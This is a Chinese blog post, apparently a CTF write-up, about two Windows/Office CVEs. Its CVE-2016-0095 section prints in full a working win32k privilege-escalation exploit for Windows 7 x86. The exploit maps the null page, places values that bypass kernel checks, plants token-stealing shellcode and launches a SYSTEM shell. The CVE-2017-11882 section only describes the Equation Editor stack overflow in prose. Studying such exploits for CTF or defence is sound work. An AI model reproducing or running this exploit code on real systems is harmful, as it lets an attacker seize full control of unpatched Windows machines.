CTF两道CVE题目的具体分析

在 unctf 里面发现一道 病毒常用的 office 的漏洞

一个是内核漏洞

CVE-2016-0095  和 CVE-2017-11882

开始 

先说一下 CVE-2016-0095

这个是内核漏洞 产生的原因是  内核空指针解引用的漏洞

漏洞出现在了

win32k 里面

题目是给了一个poc  然后让修复这个poc  并且拿到 system 的权限 get shell

这里是用的 tj 师傅博客上的代码  能在vs上直接编译运行的

/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include<Windows.h>

#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")

#ifndef W32KAPI
#define W32KAPI  DECLSPEC_ADDRSAFE
#endif

unsigned int demo_CreateBitmapIndirect(void) {
	static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
	static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
		0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };

	bitmap.bmBits = bits;

	SetLastError(NO_ERROR);

	HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);

	return (unsigned int)hBitmap;
}

#define eSyscall_NtGdiSetBitmapAttributes 0x1110

W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
	HBITMAP argv0,
	DWORD argv1
)
{
	HMODULE _H_NTDLL = NULL;
	PVOID addr_kifastsystemcall = NULL;
	_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
	addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
	__asm
	{
		push argv1;
		push argv0;
		push 0x00;
		mov eax, eSyscall_NtGdiSetBitmapAttributes;
		mov edx, addr_kifastsystemcall;
		call edx;
		add esp, 0x0c;
	}
}

void Trigger_BSoDPoc() {
	HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
	HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

	RECT rect = { 0 };
	rect.left = 0x368c;
	rect.top = 0x400000;
	HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);

	HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
	SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);

	HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);

	FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}

int main()
{
	Trigger_BSoDPoc();
	return 0;
}
扫描二维码关注公众号,回复: 8956262 查看本文章

首先还是 在ida 里面分析一下触发漏洞的函数

发现了这里

就是在 bGetRealizedBrush 这个里面

出现了一个 空指针引用的情况。。。 这里就是提供的poc 的蓝屏点

 

 

访问无效内存,,,,  导致了蓝屏  = =

然后往下走 会发现一个漏洞点

call edi   本来这一行其实也没有啥毛病  但是 在看edi 的值 回溯的时候发现了  edi 的值是

eax上面的值  在 伪代码里面看的话 就是这个样子

a2 的值

a2的结构是   struct EBRUSHOBJ *a2      EBRUSHOBJ 是未公开结构体, so  只能往上分析

发现 传入了 a1  然后继续 往上分析,,,

在 EngBitBlt  

发现了 a9 那么我们继续往上分析

但是  用ida 的交叉引用发现a9都是0  这不太符合逻辑 ,, 

最后 kb 看堆栈 发现回溯到了这里

v7 就是 EngBitBlt  的函数指针,,

翻到最后其实 可以发现的是  ob+0xCh的地方

typedef struct _SURFOBJ {
  DHSURF dhsurf;
  HSURF  hsurf;
  DHPDEV dhpdev;
  HDEV   hdev;
  SIZEL  sizlBitmap;
  ULONG  cjBits;
  PVOID  pvBits;
  PVOID  pvScan0;
  LONG   lDelta;
  ULONG  iUniq;
  ULONG  iBitmapFormat;
  USHORT iType;
  USHORT fjBitmap;
} SURFOBJ;

那么也就是  hdev 没有正确出初始化 导致的错误

那么 我们知道了这些  又知道了程序的bug点还有利用点 就很容易写出来poc了

poc的重点就是申请0地址空间 那么

不过要绕过以下判断

需要置0+0x590位置的值为不为0的数

紧接着下面的就是  需要置0x592位置的值为不为0的数

call edi 这里面有一个

这里检查的是0x748的位置,这个地方需要edi和esi做比较,edi不为0,这里赋值为替换token的shellcode的值就是不为0的值了,直接可以跳转。

然后就可以直接 call edi  get shell 了

这里直接用 k0shl    大佬的脚本

基本就是上面的思路 (但是怎么触发这个漏洞的过程还是不太清晰 但是利用的话可以的)

#include <Windows.h>
#include <stdio.h>

#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")

#ifndef W32KAPI
#define W32KAPI  DECLSPEC_ADDRSAFE
#endif



#define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID


int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
	__asm {
		; initialize
			pushad; save registers state

			xor eax, eax; Set zero
			mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
			mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

			mov ecx, eax; Copy current _EPROCESS structure

			mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
			mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4

		SearchSystemPID:
		mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
			sub eax, FLINK_OFFSET
			cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
			jne SearchSystemPID

			mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
			mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
			; to current process
			popad; restore registers state
	}
	return 0;
}

typedef struct _GDICELL {
	LPVOID pKernelAddress;
	USHORT wProcessId;
	USHORT wCount;
	USHORT wUpper;
	USHORT wType;
	LPVOID pUserAddress;
} GDICELL, *PGDICELL;

unsigned int demo_CreateBitmapIndirect(void) {
	static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
	HBITMAP hBitmap;
	static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
		0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };

	bitmap.bmBits = bits;

	SetLastError(NO_ERROR);

	hBitmap = CreateBitmapIndirect(&bitmap);

	return (unsigned int)hBitmap;
}

#define eSyscall_NtGdiSetBitmapAttributes 0x1110;

typedef NTSTATUS WINAPI NtAllocateVirtualMemory_t(IN HANDLE     ProcessHandle,
	IN OUT PVOID  *BaseAddress,
	IN ULONG      ZeroBits,
	IN OUT PULONG AllocationSize,
	IN ULONG      AllocationType,
	IN ULONG Protect);

W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
	HBITMAP argv0,
	DWORD argv1
	)
{
	HMODULE _H_NTDLL = NULL;
	PVOID addr_kifastsystemcall = NULL;
	_H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
	addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
	__asm
	{
		push argv1;
		push argv0;
		push 0x00;
		mov eax, eSyscall_NtGdiSetBitmapAttributes;
		mov edx, addr_kifastsystemcall;
		call edx;
		add esp, 0x0c;
	}
}

void Trigger_BSoDPoc() {
	HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
	HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

	RECT rect = { 0 };
	rect.left = 0x368c;
	rect.top = 0x400000;
	HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);

	HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
	SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);

	HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);

	FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}

static VOID Cmd()
{
	STARTUPINFO si = { sizeof(si) };
	PROCESS_INFORMATION pi = { 0 };
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
	BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
	if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}


int main(int argc, char* argv[])
{
	HANDLE hProcess;
	DWORD dwPID = GetCurrentProcessId();
	DWORD Virtual_BaseAddr = 1;
	SIZE_T RegionSize = 0x1000;

	hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPID);
	NtAllocateVirtualMemory_t *NtAllocateVirtualMemory;
	NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t *)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
	ULONG VirtualMemory_Result = NtAllocateVirtualMemory(hProcess,
		(LPVOID*)&Virtual_BaseAddr,
		0,
		&RegionSize,
		MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
		PAGE_EXECUTE_READWRITE);
	if (VirtualMemory_Result != 0x0)
		printf(" [!] Failed to allocate memory at BaseAddress, error: 0x%X\n", VirtualMemory_Result);
	else {
		printf(" [*] Allocated memory at BaseAddress");
	}
	memset(0x0, 0, 0x1000);

	void* bypass_one = (void *)0x590;
	*(LPBYTE)bypass_one = 0x1;
	void* bypass_two = (void *)0x592;
	*(LPBYTE)bypass_two = 0x1;
	void* jump_addr = (void *)0x748;
	*(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
	Trigger_BSoDPoc();
	Cmd();
	return 0;
}

提权成功 = =

CVE-2017-11882

这个是我在 unctf遇到的一道re题目     当时看的时候 就感觉 这个题目其实不会太难

题目其实很简单

根据题目提示 OFFICE 2017年某CVE
去百度找找就知道是哪个了,根据搜索到的内容走遍流程就行了,
先找溢出点,入口点,这个一般用工具
然后打开一个正常rtf
用OD先附加
在溢出点打上断点
然或加载样本文档

然后 这个是做题的方法 并不是我们学习这个CVE的方法  我们来具体分析 EQNEDT32.EXE  这个exe

主要漏洞点在 sub_4115A7 这个函数里面 的 sub_41160F函数

进里面分析一波

很明显的一个栈溢出漏洞,,

  那么利用也就很简单了,。。

重点就是在于

伪造 rtf 的结构  然后加入shellcode 就ok

不过。。。  2017年 微软的offic 还有栈溢出,, 蛮吃惊的,,

发现返回地址已经给修改了

然后直接执行shellcode

然后拿到flag= =

题目不算太难,

这个cve 本身也算是一个简单的点   在office 2016一下 全杀   是office病毒特别喜欢利用的漏洞

参考连接

https://paper.seebug.org/298/#ms16-034

https://www.cnblogs.com/leibso-cy/p/11718008.html

https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup/blob/master/MS16-034-exp.cpp

https://www.freebuf.com/column/183551.html

https://xz.aliyun.com/t/6668

发布了312 篇原创文章 · 获赞 44 · 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_41071646/article/details/102904534
今日推荐